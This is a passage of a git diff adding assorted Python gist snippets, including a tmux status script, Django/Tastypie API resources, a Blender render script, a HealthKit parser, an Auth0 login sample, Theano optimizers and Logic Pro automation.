+    }
+
+    return ['{color}MEM: {free}/{total}MB{reset}'.format(**kwargs)]
+
+
+def get_battery(factor=10):
+    status = []
+    output = subprocess.check_output('upower -e | grep BAT', shell=True).strip().split('\n')
+    batteries = map(methodcaller('strip'), output)
+
+    for battery in batteries:
+        _, _, name = battery.rpartition('_')
+        state, pct = get_current_state(battery)
+
+        if pct > 25:
+            color = '#[fg=white,bg=black]'
+        elif pct > 15:
+            color = '#[fg=yellow,bg=black]'
+        else:
+            color = '#[fg=red,bg=black]'
+
+        if state == 'charging':
+            color = '#[fg=green,bg=black]+'
+
+        status.append((name, as_hearts(pct, factor=factor), color))
+
+    return ['{}{}: {}#[fg=white,bg=black]'.format(c, b, h) for b, h, c in sorted(status, key=itemgetter(0))]
+
+
+def get_loadavg():
+    with open('/proc/loadavg', 'r') as f:
+        loadavg = float(f.readline().strip().split(' ')[0])
+
+        if loadavg < 2.5:
+            color = '#[fg=white,bg=black]'
+        elif loadavg < 5:
+            color = '#[fg=yellow,bg=black]'
+        else:
+            color = '#[fg=red,bg=black]'
+
+        kwargs = {
+            'color': color,
+            'reset': '#[fg=white,bg=black]',
+            'load': '{:.2f}'.format(loadavg),
+        }
+
+        return ['{color}LOAD: {load}{reset}'.format(**kwargs)]
+
+
+def main():
+    factor = 20
+
+    lines = []
+    lines += get_current_track()
+    lines += get_loadavg()
+    lines += get_memory()
+    lines += get_battery(factor=factor)
+
+    print '{} '.format(' | '.join(lines))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/809993/._snippet.py b/hard-gists/809993/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/809993/._snippet.py differ
diff --git a/hard-gists/809993/snippet.py b/hard-gists/809993/snippet.py
new file mode 100644
index 00000000..ecb332f7
--- /dev/null
+++ b/hard-gists/809993/snippet.py
@@ -0,0 +1,53 @@
+from sandbox import models
+from tastypie import fields
+from apibase.resources import CamayakModelResource
+from django.conf.urls.defaults import url
+
+class ModelResource(CamayakModelResource):
+    def override_urls(self):
+        urls = []
+    
+        for name, field in self.fields.items():
+            if isinstance(field, fields.ToManyField):
+                print field.to_class
+                resource = r"^(?P<resource_name>{resource_name})/(?P<{related_name}>.+)/{related_resource}/$".format(
+                    resource_name=self._meta.resource_name, 
+                    related_name=field.related_name,
+                    related_resource=field.attribute,
+                    )
+                resource = url(resource, field.to_class().wrap_view('get_list'), name="api_dispatch_detail")
+                urls.append(resource)
+        return urls
+
+class HandResource(ModelResource):
+    fingers = fields.ToManyField('sandbox.api.FingerResource', 'fingers', 'hand')
+
+    class Meta:
+        queryset = models.Hand.objects.all()
+        resource_name = 'hands'
+        api_name = 'v1'
+
+class FingerResource(ModelResource):
+    hand = fields.ForeignKey('sandbox.api.HandResource', 'hand')
+    bones = fields.ToManyField('sandbox.api.BoneResource', 'bones', 'finger')
+
+    class Meta:
+        queryset = models.Finger.objects.all()
+        resource_name = 'fingers'
+        api_name = 'v1'
+
+        filtering = {
+            "hand": ('exact',),
+            }
+
+class BoneResource(ModelResource):
+    finger = fields.ForeignKey('sandbox.api.BoneResource', 'finger')
+    
+    class Meta:
+        queryset = models.Bone.objects.all()
+        resource_name = 'bones'
+        api_name = 'v1'
+
+        filtering = {
+            "finger": ('exact',),
+            }
\ No newline at end of file
diff --git a/hard-gists/80b4b93baa5b33ed25e1823d3494f0a8/._snippet.py b/hard-gists/80b4b93baa5b33ed25e1823d3494f0a8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/80b4b93baa5b33ed25e1823d3494f0a8/._snippet.py differ
diff --git a/hard-gists/80b4b93baa5b33ed25e1823d3494f0a8/snippet.py b/hard-gists/80b4b93baa5b33ed25e1823d3494f0a8/snippet.py
new file mode 100644
index 00000000..071bbc39
--- /dev/null
+++ b/hard-gists/80b4b93baa5b33ed25e1823d3494f0a8/snippet.py
@@ -0,0 +1,42 @@
+# Usage: ./dns_check.py <list_of_domain_names.txt>
+import dns.resolver
+import requests
+import re
+import json
+import sys
+
+resolver = dns.resolver.Resolver()
+resolver.timeout = 5
+resolver.lifetime = 5
+
+def is_available(domain):
+  try:
+    hdr = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36'}
+    r = requests.get('https://njal.la/list/?search=' + domain, headers=hdr)
+    search = re.search('var results = \[(.*)\];', r.text)
+    if search:
+      domain = json.loads(search.group(1))
+      print(domain)
+      if domain['status'] == 'available':
+      	return True
+  except:
+  	pass
+
+  return False
+
+def main():
+  with open(sys.argv[1], 'r') as dotcom_names:
+    for name in dotcom_names:
+      name = name.strip()
+      try:
+        resolver.query(name, 'NS')
+        print("[+] %s is taken" % name)
+      except Exception as e:
+        print("[+] %s might be available (%s)" % (name, e))
+        if is_available(name):
+          print("[!] \033[92m%s is available\033[0m" % name)
+          with open('available_names.txt', 'a') as f:
+            f.write("%s\n" % name)
+
+if __name__ == '__main__':
+  main()
\ No newline at end of file
diff --git a/hard-gists/8112114/._snippet.py b/hard-gists/8112114/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8112114/._snippet.py differ
diff --git a/hard-gists/8112114/snippet.py b/hard-gists/8112114/snippet.py
new file mode 100644
index 00000000..cdfad292
--- /dev/null
+++ b/hard-gists/8112114/snippet.py
@@ -0,0 +1,111 @@
+# coding: utf-8
+
+# Copyright (c) 2013 Mountainstorm
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to deal
+# in the Software without restriction, including without limitation the rights
+# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import bpy
+import bmesh
+import os
+
+# easy_install Pillow
+#
+
+scene = bpy.context.scene
+outputPath = os.path.dirname(bpy.data.filepath)
+outputFilename = os.path.splitext(bpy.path.basename(bpy.data.filepath))[0]
+
+# render background layer
+scene.render.image_settings.color_mode = 'RGBA'
+scene.render.filepath = '%s-bg' % os.path.join(outputPath, outputFilename)
+#bpy.ops.render.render(write_still=True)
+
+# render layers - start by making background transparent not sky
+origAlphaMode = scene.render.alpha_mode
+scene.render.alpha_mode = 'TRANSPARENT'
+
+emptyMaterial = bpy.data.materials.new('.empty.material.material')
+emptyMaterial.use_sky = True
+
+# for each layer
+layer = 1
+layerGroup = 'layer.%u' % layer
+emptyMaterialObjects = []
+skyMaterials = {}
+replacedMaterials = []
+
+for obj in scene.objects:
+    if obj.type == 'CAMERA':
+        pass # leave all cameras
+    elif obj.type == 'LAMP':
+        pass # leave the lights
+    elif obj.type == 'MESH':
+        # only care about renderable objects
+        if obj.hide_render == True:
+            continue
+        
+        # give any empty material objects the mepty (invisible) material
+        if obj.active_material == None:
+            emptyMaterialObjects.append(obj)
+            obj.active_material = emptyMaterial
+            # Note: if this object was supposed to render it wont!
+            continue
+        
+        # check if the object is in this layers group
+        print(obj.name)
+        visibleOnLayer = False
+        for group in obj.users_group:
+            if group.name == layerGroup:
+                visibleOnLayer = True
+                break
+            
+        # if it's supposed to be visible - we copy the material; so if it's shared we wont affect anything else
+        mat = obj.active_material
+        if visibleOnLayer:
+            print('  match')
+            newMat = mat.copy()
+            replacedMaterials.append((obj, mat))
+            obj.active_material = newMat
+                        
+        # we've goint to set the material used by this object to 'sky'; thus rendering transparent
+        if mat.name not in skyMaterials:
+            skyMaterials[mat.name] = (mat, mat.use_sky, mat.use_transparency)
+            mat.use_sky = True
+            mat.use_transparency = False # TODO: we might not want to actually do this?
+    else:
+        print('Unhandled object type: ' + obj.type)
+
+# render scene
+scene.render.filepath = '%s-%u' % (os.path.join(outputPath, outputFilename), layer)
+#bpy.ops.render.render(animation=True, write_still=True)
+bpy.ops.render.render(write_still=True)
+
+# tidy up
+for obj, mat in replacedMaterials:
+    obj.active_material = mat
+    
+for mat, sky, transparency in skyMaterials.values():
+    mat.use_sky = sky
+    mat.use_transparency = transparency
+
+for obj in emptyMaterialObjects:
+    obj.active_material = None
+del emptyMaterial
+
+scene.render.alpha_mode = origAlphaMode
\ No newline at end of file
diff --git a/hard-gists/81299cd171a60a071343/._snippet.py b/hard-gists/81299cd171a60a071343/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/81299cd171a60a071343/._snippet.py differ
diff --git a/hard-gists/81299cd171a60a071343/snippet.py b/hard-gists/81299cd171a60a071343/snippet.py
new file mode 100644
index 00000000..7f1e2851
--- /dev/null
+++ b/hard-gists/81299cd171a60a071343/snippet.py
@@ -0,0 +1,69 @@
+#!/usr/bin/env python
+"""
+A quick script for tidying up data from the HealthKit export file.
+
+To get an export file:
+ 1) Open the Health app on iOS
+ 2) Under "Health Data", select "All"
+ 3) Use the share button to get a copy of your data in XML format
+
+This script allows you to get data for one particular value, and turn it into
+a slightly more human-readable form.
+
+Use `get_available_types()` to get a list of all the `type` keys used in the
+XML data. Find the one you want, and then pass that into
+`get_values_for_type()`. I'm assuming that the data is an integer; if that's
+not correct, change lines 48 and 55.
+
+The `main()` function has an example for getting step count data.
+"""
+
+from collections import defaultdict
+from xml.etree import ElementTree as ET
+
+from dateutil import parser
+
+
+def get_available_types(filepath):
+    """
+    Returns a list of all the types of data in the HealthKit export file.
+    """
+    types = set()
+    tree = ET.parse("export.xml")
+    root = tree.getroot()
+    for child in root:
+        types.add(child.attrib.get("type", ""))
+    types.remove("")
+    return types
+
+
+def get_values_for_type(filepath, type_name):
+    """
+    Given a path to an XML file, return a list of date/value pairs for all the
+    data points of a given type.
+    """
+    tree = ET.parse("export.xml")
+    root = tree.getroot()
+
+    values = defaultdict(int)
+
+    for child in root:
+        if child.tag in ["ExportDate", "Me"]:
+            continue
+        if child.attrib["type"] == type_name:
+            date = parser.parse(child.attrib['startDate']).date()
+            values[date] += int(float(child.attrib['value']))
+
+    return values
+
+
+def main():
+    step_data = get_values_for_type("export.xml",
+                                    "HKQuantityTypeIdentifierStepCount")
+    with open("stepdata.txt", "w") as f:
+        for date, step_count in step_data.iteritems():
+            f.write("%s %s\n" % (date, step_count))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/813813/._snippet.py b/hard-gists/813813/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/813813/._snippet.py differ
diff --git a/hard-gists/813813/snippet.py b/hard-gists/813813/snippet.py
new file mode 100644
index 00000000..00bdcc90
--- /dev/null
+++ b/hard-gists/813813/snippet.py
@@ -0,0 +1,30 @@
+#!/usr/bin/env python
+
+import os
+from munin import MuninPlugin
+
+class TmpFileCount(MuninPlugin):
+        title = "Number of Files in /tmp"
+        args = "--base 1000 -l 0"
+        vlabel = "files"
+        scaled = False
+        category = "system"
+
+        @property
+        def fields(self):
+                warning = os.environ.get('files_warn', 10)
+                critical = os.environ.get('files_crit', 120)
+                return [("files", dict(
+                        label = "files",
+                        info = 'The number of files in /tmp',
+                        type = "GAUGE",
+                        min = "0",
+                        warning = str(warning),
+                        critical = str(critical)))]
+
+        def execute(self):
+                dircount = len(os.listdir("/tmp"))
+                print "files.value %s" % dircount
+
+if __name__ == "__main__":
+        TmpFileCount().run()
diff --git a/hard-gists/814599/._snippet.py b/hard-gists/814599/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/814599/._snippet.py differ
diff --git a/hard-gists/814599/snippet.py b/hard-gists/814599/snippet.py
new file mode 100644
index 00000000..905fba1e
--- /dev/null
+++ b/hard-gists/814599/snippet.py
@@ -0,0 +1,18 @@
+
+from MySQLdb.cursors import SSDictCursor
+
+def iterate_query(query, connection, arraysize=1):
+    c = connection.cursor(cursorclass=SSDictCursor)
+    c.execute(query)
+    while True:
+        nextrows = c.fetchmany(arraysize)
+        if not nextrows:
+            break
+        for row in nextrows:
+            yield row
+    c.close()
+
+
+results = iterate_query(SQL, conn, arraysize=100)
+for row_dict in results:
+    print row_dict
diff --git a/hard-gists/8149412/._snippet.py b/hard-gists/8149412/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8149412/._snippet.py differ
diff --git a/hard-gists/8149412/snippet.py b/hard-gists/8149412/snippet.py
new file mode 100644
index 00000000..41ed17ad
--- /dev/null
+++ b/hard-gists/8149412/snippet.py
@@ -0,0 +1,60 @@
+import webapp2
+import urllib2
+import urllib
+import json
+
+## CHANGE THIS
+CLIENT_ID = "vYPeq7LGf1utg2dbDlGKCwGKgy94lPH0"
+CLIENT_SECRET = "DLQ5dWkNMwPlUWo2jqVkbG1PFyeMvV60HEJaW0FioeI4ZxGaAW73BiqRBZmRk29v"
+DOMAIN = "contoso.auth0.com"
+CALLBACK_URL = "http://localhost:8080/callback"
+
+MAIN_PAGE_HTML = """\
+<html>
+  <body>
+    <script src="https://cdn.auth0.com/w2/auth0-widget-2.6.min.js"></script>
+    <script type="text/javascript">
+      
+      var widget = new Auth0Widget({
+        domain:         '%s',
+        clientID:       '%s',
+        callbackURL:    '%s'
+      });
+      
+    </script>
+    <button onclick="widget.signin()">Login</button>
+  </body>
+</html>
+""" % (DOMAIN, CLIENT_ID, CALLBACK_URL)
+
+class MainPage(webapp2.RequestHandler):
+
+    def get(self):
+        self.response.write(MAIN_PAGE_HTML)
+
+class LoginCallback(webapp2.RequestHandler):
+
+    def get(self):
+      code = self.request.get("code")
+      base_url = "https://{domain}".format(domain=DOMAIN)
+      data = urllib.urlencode([('client_id', CLIENT_ID), 
+                               ('redirect_uri', CALLBACK_URL), 
+                               ('client_secret', CLIENT_SECRET),
+                               ('code', code), 
+                               ('grant_type', 'authorization_code')])
+      req = urllib2.Request(base_url + "/oauth/token", data)
+      response = urllib2.urlopen(req)
+      oauth = json.loads(response.read())
+      userinfo = base_url + "/userinfo?access_token=" + oauth['access_token']
+      
+      response = urllib2.urlopen(userinfo)
+      data = response.read()
+
+      ## print user data
+      self.response.write(data)
+
+
+application = webapp2.WSGIApplication([
+    ('/', MainPage),
+    ('/callback', LoginCallback)
+], debug=True)
\ No newline at end of file
diff --git a/hard-gists/816134462577399ee8b2/._snippet.py b/hard-gists/816134462577399ee8b2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/816134462577399ee8b2/._snippet.py differ
diff --git a/hard-gists/816134462577399ee8b2/snippet.py b/hard-gists/816134462577399ee8b2/snippet.py
new file mode 100644
index 00000000..e3debce8
--- /dev/null
+++ b/hard-gists/816134462577399ee8b2/snippet.py
@@ -0,0 +1,89 @@
+# Authors: Kyle Kastner
+# License: BSD 3-clause
+import theano.tensor as T
+import numpy as np
+import theano
+
+
+class rmsprop(object):
+    """
+    RMSProp with nesterov momentum and gradient rescaling
+    """
+    def __init__(self, params):
+        self.running_square_ = [theano.shared(np.zeros_like(p.get_value()))
+                                for p in params]
+        self.running_avg_ = [theano.shared(np.zeros_like(p.get_value()))
+                             for p in params]
+        self.memory_ = [theano.shared(np.zeros_like(p.get_value()))
+                        for p in params]
+
+    def updates(self, params, grads, learning_rate, momentum, rescale=5.):
+        grad_norm = T.sqrt(sum(map(lambda x: T.sqr(x).sum(), grads)))
+        not_finite = T.or_(T.isnan(grad_norm), T.isinf(grad_norm))
+        grad_norm = T.sqrt(grad_norm)
+        scaling_num = rescale
+        scaling_den = T.maximum(rescale, grad_norm)
+        # Magic constants
+        combination_coeff = 0.9
+        minimum_grad = 1E-4
+        updates = []
+        for n, (param, grad) in enumerate(zip(params, grads)):
+            grad = T.switch(not_finite, 0.1 * param,
+                            grad * (scaling_num / scaling_den))
+            old_square = self.running_square_[n]
+            new_square = combination_coeff * old_square + (
+                1. - combination_coeff) * T.sqr(grad)
+            old_avg = self.running_avg_[n]
+            new_avg = combination_coeff * old_avg + (
+                1. - combination_coeff) * grad
+            rms_grad = T.sqrt(new_square - new_avg ** 2)
+            rms_grad = T.maximum(rms_grad, minimum_grad)
+            memory = self.memory_[n]
+            update = momentum * memory - learning_rate * grad / rms_grad
+            update2 = momentum * momentum * memory - (
+                1 + momentum) * learning_rate * grad / rms_grad
+            updates.append((old_square, new_square))
+            updates.append((old_avg, new_avg))
+            updates.append((memory, update))
+            updates.append((param, param + update2))
+        return updates
+
+
+class sgd_nesterov(object):
+    def __init__(self, params):
+        self.memory_ = [theano.shared(np.zeros_like(p.get_value()))
+                        for p in params]
+
+    def updates(self, params, grads, learning_rate, momentum):
+        updates = []
+        for n, (param, grad) in enumerate(zip(params, grads)):
+            memory = self.memory_[n]
+            update = momentum * memory - learning_rate * grad
+            update2 = momentum * momentum * memory - (
+                1 + momentum) * learning_rate * grad
+            updates.append((memory, update))
+            updates.append((param, param + update2))
+        return updates
+
+
+class sgd(object):
+    # Only here for API conformity with other optimizers
+    def __init__(self, params):
+        pass
+
+    def updates(self, params, grads, learning_rate):
+        updates = []
+        for n, (param, grad) in enumerate(zip(params, grads)):
+            updates.append((param, param - learning_rate * grad))
+        return updates
+
+
+"""
+Usage:
+grads = T.grad(cost, self.params)
+#opt = sgd_nesterov(self.params)
+opt = rmsprop(self.params)
+updates = opt.updates(self.params, grads,
+                      learning_rate / np.cast['float32'](self.batch_size),
+                      momentum)
+"""
diff --git a/hard-gists/81635e6cbc933b7e8862/._snippet.py b/hard-gists/81635e6cbc933b7e8862/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/81635e6cbc933b7e8862/._snippet.py differ
diff --git a/hard-gists/81635e6cbc933b7e8862/snippet.py b/hard-gists/81635e6cbc933b7e8862/snippet.py
new file mode 100644
index 00000000..c681980f
--- /dev/null
+++ b/hard-gists/81635e6cbc933b7e8862/snippet.py
@@ -0,0 +1,151 @@
+import os
+import sys
+import time
+import atomac
+import subprocess
+
+if len(sys.argv) < 2:
+    print "Usage: bouncer.py <path_to_logic_project> (<path_to_logic_project>)"
+    os.exit(1)
+
+bundleId = 'com.apple.logic10'
+for project in sys.argv[1:]:
+    projectName = project.split('/')[-1].replace('.logicx', '')
+    filename = projectName + ".wav"
+
+    print "Opening %s..." % project
+
+    #  Open a project file
+    subprocess.call(['open', project])
+
+    print "Activating Logic Pro X..."
+
+    logic = atomac.getAppRefByBundleId(bundleId)
+    logic.activate()
+
+    print "Waiting for project '%s' to open..." % projectName
+
+    while len(filter(lambda x: projectName in x.AXTitle, logic.windows())) == 0:
+        time.sleep(0.1)
+
+    # Wait for the window to load
+    time.sleep(1)
+
+    print "Triggering bounce operation..."
+
+    logic.activate()
+    logic.sendGlobalKeyWithModifiers('b', [atomac.AXKeyCodeConstants.COMMAND])
+
+    print "Waiting for bounce window..."
+
+    bounce_window = None
+    while not bounce_window:
+        bounce_window = filter(lambda x: ('Output 1-2' in x.AXTitle) or
+                                         ('Bounce' in x.AXTitle),
+                               logic.windows())
+        time.sleep(0.1)
+    bounce_window = bounce_window[0]
+
+    print "Selecting output formats..."
+
+    qualityScrollArea = bounce_window.findFirst(AXRole='AXScrollArea')
+    qualityTable = qualityScrollArea.findFirst(AXRole='AXTable')
+    for row in qualityTable.findAll(AXRole='AXRow'):
+        rowName = row.findFirst(AXRole='AXTextField').AXValue
+        checkbox = row.findFirst(AXRole='AXCheckBox')
+        if rowName == 'PCM':
+            if checkbox.AXValue is 0:
+                print "Selected %s output format." % rowName
+                checkbox.Press()
+            else:
+                print "%s output format selected." % rowName
+        elif checkbox.AXValue is 1:
+            print "Deselected %s output format." % rowName
+            checkbox.Press()
+
+    print "Pressing Bounce button..."
+
+    bounce_button = bounce_window.findFirst(AXRole="AXButton",
+                                            AXTitle="Bounce")
+    if not bounce_button:
+        bounce_button = bounce_window.findFirst(
+            AXRole="AXButton",
+            AXTitle="OK"
+        )
+    bounce_button.Press()
+    bounce_window = None
+    # bounce_window is now gone and we have a modal dialog about saving
+
+    print "Waiting for save window..."
+
+    save_window = None
+    while not save_window:
+        save_window = filter(lambda x: ('Output 1-2' in x.AXTitle) or
+                                       ('Bounce' in x.AXTitle),
+                             logic.windows())
+        time.sleep(0.1)
+    save_window = save_window[0]
+
+    print "Entering filename..."
+
+    filenameBox = save_window.findFirst(AXRole="AXTextField")
+    filenameBox.AXValue = filename
+
+    print "Pressing 'Bounce' on the save window..."
+
+    bounce_button = save_window.findFirst(AXRole="AXButton", AXTitle="Bounce")
+    bounce_button.Press()
+
+    # Check to see if we got a "this file already exists" dialog
+    if len(save_window.sheets()) > 0:
+        print "Allowing overwriting of existing file..."
+        overwrite_sheet = save_window.sheets()[0]
+        overwrite_sheet.findFirst(AXRole="AXButton",
+                                  AXTitle=u"Replace").Press()
+
+    print "Bouncing '%s'..." % projectName
+
+    # All UI calls will block now, because Logic blocks the UI thread while bouncing
+    while len(logic.windows()) > 1:
+        time.sleep(0.1)
+
+    print "Waiting for Logic to regain its senses..."
+
+    time.sleep(2)
+
+    # Done - should be saved now.
+    # Close the window with command-option-W
+    logic.activate()
+
+    time.sleep(1)
+
+    print "Closing project '%s'..." % projectName
+
+    logic.sendGlobalKeyWithModifiers('w', [
+        atomac.AXKeyCodeConstants.COMMAND, atomac.AXKeyCodeConstants.OPTION
+    ])
+
+    print "Waiting for the 'do you want to save changes' window..."
+
+    save_window = None
+    attempts = 0
+    while not save_window and attempts < 20:
+        save_window = filter(lambda x: '' == x.AXTitle, logic.windows())
+        time.sleep(0.1)
+        attempts += 1
+
+    if save_window:
+        print "Saying 'No, I don't want to save changes'..."
+        save_window = save_window[0]
+
+        logic.activate()
+        # Click the "Don't Save" button
+        filter(lambda x: 'Don' in x.AXTitle, save_window.findAll(AXRole="AXButton"))[0].Press()
+
+    print "Waiting for all Logic windows to close..."
+
+    while len(logic.windows()) > 0:
+        time.sleep(0.5)
+
+print "Terminating Logic."
+atomac.terminateAppByBundleId(bundleId)
diff --git a/hard-gists/816927d8d8d2d7d8afb0/._snippet.py b/hard-gists/816927d8d8d2d7d8afb0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/816927d8d8d2d7d8afb0/._snippet.py differ
diff --git a/hard-gists/816927d8d8d2d7d8afb0/snippet.py b/hard-gists/816927d8d8d2d7d8afb0/snippet.py
new file mode 100644
index 00000000..354de1ba
--- /dev/null
+++ b/hard-gists/816927d8d8d2d7d8afb0/snippet.py
@@ -0,0 +1,32 @@
+#coding: utf-8
+
+import requests
+import csv
+from urllib import parse
+
+access_token = ''
+endpoint = 'https://graph.facebook.com/v2.5/%s/insights/post_impressions_unique/'
+
+def get_post_id(url):
+    parsed = parse.urlparse(url)
+    params = parse.parse_qs(parsed.query)
+    id = params.get('id')
+    story_fbid = params.get('story_fbid')
+
+    if id and story_fbid:
+        return "_".join(id + story_fbid)
+
+    return parsed.path.split('/')[-2]
+
+with open('data.csv') as csvfile:
+    reader = csv.reader(csvfile)
+    for url in reader:
+        facebook_post_id = get_post_id(url[0])
+        request_url = endpoint % facebook_post_id
+        response = requests.get(request_url, params={'access_token': access_token})
+        value = ''
+        try:
+            value = response.json().get('data')[0].get('values')[0].get('value')
+        except:
+            pass
+        print(url[0] + ',' + str(value))
\ No newline at end of file
diff --git a/hard-gists/8169809/._snippet.py b/hard-gists/8169809/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8169809/._snippet.py differ
diff --git a/hard-gists/8169809/snippet.py b/hard-gists/8169809/snippet.py
new file mode 100644
index 00000000..1d437de9
--- /dev/null
+++ b/hard-gists/8169809/snippet.py
@@ -0,0 +1,41 @@
+import bs4, collections, console, requests, scene
+
+tkColorDict = collections.OrderedDict()  # key = tkinter color name
+
+def loadTkColorDict():  # will automaticly be called by getColor() if needed
+    tkColorURL = 'http://www.tcl.tk/man/tcl8.6/TkCmd/colors.htm'
+    print('Loading tkinter colors from: ' + tkColorURL)
+    tkColorSoup = bs4.BeautifulSoup(requests.get(tkColorURL).text).tbody
+    print('Soup is ready.  Creating color table...')
+    for tableRow in tkColorSoup.find_all('tr'):
+        colorInfo = [x.text for x in tableRow.find_all('p')]
+        if colorInfo[0] != 'Name':  # skip the table header
+            tkColorDict[colorInfo[0]] = (int(colorInfo[1]) / 255.0,  # red
+                                         int(colorInfo[2]) / 255.0,  # green
+                                         int(colorInfo[3]) / 255.0)  # blue
+    # optionaly show the results...
+    for colorName in tkColorDict:  # 752 colors
+        #console.set_color(*tkColorDict[colorName])  # some colors are not visible
+        print('{:<22} = {}'.format(colorName, tkColorDict[colorName]))
+    print('tkColorDict now contains {} colors.\n'.format(len(tkColorDict)))
+
+def getColor(inColorName = 'grey'):
+    if not tkColorDict:    # if   tkColorDict has not been initialized
+        loadTkColorDict()  # then put tkinter colors into tkColorDict
+    try:
+        return scene.Color(*tkColorDict[inColorName])
+    except KeyError:
+        print("'{}' is not a valid color.  Substituting grey...".format(inColorName))
+        return getColor()
+
+if __name__ == '__main__':
+    lgy = getColor('light goldenrod yellow')
+    #console.set_color(lgy.r, lgy.g, lgy.b)  # some colors are not visble
+    print("getColor('{}') = ({}, {}, {})".format('light goldenrod yellow', lgy.r, lgy.g, lgy.b))
+
+    testColorNames = ('black white red green blue Bob').split()
+    for testColorName in testColorNames:
+        testColor = getColor(testColorName)
+        console.set_color(testColor.r, testColor.g, testColor.b)
+        print("getColor('{}') = ({}, {}, {})".format(testColorName, testColor.r, testColor.g, testColor.b))
+    console.set_color(0, 0, 0)  # back to black
\ No newline at end of file
diff --git a/hard-gists/8171599/._snippet.py b/hard-gists/8171599/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8171599/._snippet.py differ
diff --git a/hard-gists/8171599/snippet.py b/hard-gists/8171599/snippet.py
new file mode 100644
index 00000000..cf4edec9
--- /dev/null
+++ b/hard-gists/8171599/snippet.py
@@ -0,0 +1,20 @@
+# django==1.6.1
+# django_facebook==5.3.1
+
+from django.test import TestCase
+from django_facebook.models import FacebookCustomUser
+
+class MyTest(TestCase):
+
+    def setUp(self):
+        user = FacebookCustomUser()
+        user.facebook_id = '123456789'
+        user.save()
+
+    def do_login(self):
+        self.client.login(facebook_id = '123456789')
+
+    def test_get_api(self):
+        self.do_login()
+        response = self.client.get(url)
+        # do your asserts and other tests here
diff --git a/hard-gists/8172807/._snippet.py b/hard-gists/8172807/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8172807/._snippet.py differ
diff --git a/hard-gists/8172807/snippet.py b/hard-gists/8172807/snippet.py
new file mode 100644
index 00000000..bf4ab516
--- /dev/null
+++ b/hard-gists/8172807/snippet.py
@@ -0,0 +1,45 @@
+import logging
+from mpi4py import MPI
+
+class MPIFileHandler(logging.FileHandler):                                      
+    def __init__(self,filename, mode=MPI.MODE_WRONLY|MPI.MODE_CREATE|MPI.MODE_APPEND , encoding=None, delay=0, comm=MPI.COMM_WORLD ):
+        encoding = None                                                         
+        self.baseFilename = os.path.abspath(filename)                           
+        self.mode = mode                                                        
+        self.encoding = encoding                                                
+        self.comm = comm                                                        
+        if delay:                                                               
+            #We don't open the stream, but we still need to call the            
+            #Handler constructor to set level, formatter, lock etc.             
+            logging.Handler.__init__(self)                                      
+            self.stream = None                                                  
+        else:                                                                   
+           logging.StreamHandler.__init__(self, self._open())                   
+                                                                                
+    def _open(self):                                                            
+        stream = MPILogFile.Open( self.comm, self.baseFilename, self.mode )     
+        stream.Set_atomicity(True)                                              
+        return stream                                                           
+                                                                                
+    def close(self):                                                            
+        if self.stream:                                                         
+            self.stream.Sync()                                                  
+            self.stream.Close()                                                 
+            self.stream = None                                                  
+  
+if __name__ == "__main__":
+    comm = MPI.COMM_WORLD                                                           
+    logger = logging.getLogger("node[%i]"%comm.rank)                                
+    logger.setLevel(logging.DEBUG)                                                  
+                                                                                    
+    mh = MPIFileHandler("test.log")                                           
+    formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
+    mh.setFormatter(formatter)                                                      
+                                                                                    
+    logger.addHandler(mh)                                                           
+    # 'application' code                                                            
+    logger.debug('debug message')                                                   
+    logger.info('info message')                                                     
+    logger.warn('warn message')                                                     
+    logger.error('error message')                                                   
+    logger.critical('critical message')    
\ No newline at end of file
diff --git a/hard-gists/8179471/._snippet.py b/hard-gists/8179471/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8179471/._snippet.py differ
diff --git a/hard-gists/8179471/snippet.py b/hard-gists/8179471/snippet.py
new file mode 100644
index 00000000..151183a1
--- /dev/null
+++ b/hard-gists/8179471/snippet.py
@@ -0,0 +1,84 @@
+# -*- coding: utf-8 -*-
+from twisted.enterprise import adbapi
+from twisted.python import log
+import MySQLdb
+import itertools
+
+class ReconnectingMixin:
+    """MySQL 重新连接时， ConnectionPool 可以正确执行指定的操作，流程是：
+
+    - 执行操作
+    - 如果是连接错误，重新执行一次操作
+
+    参考:
+
+    - http://www.gelens.org/2008/09/12/reinitializing-twisted-connectionpool/
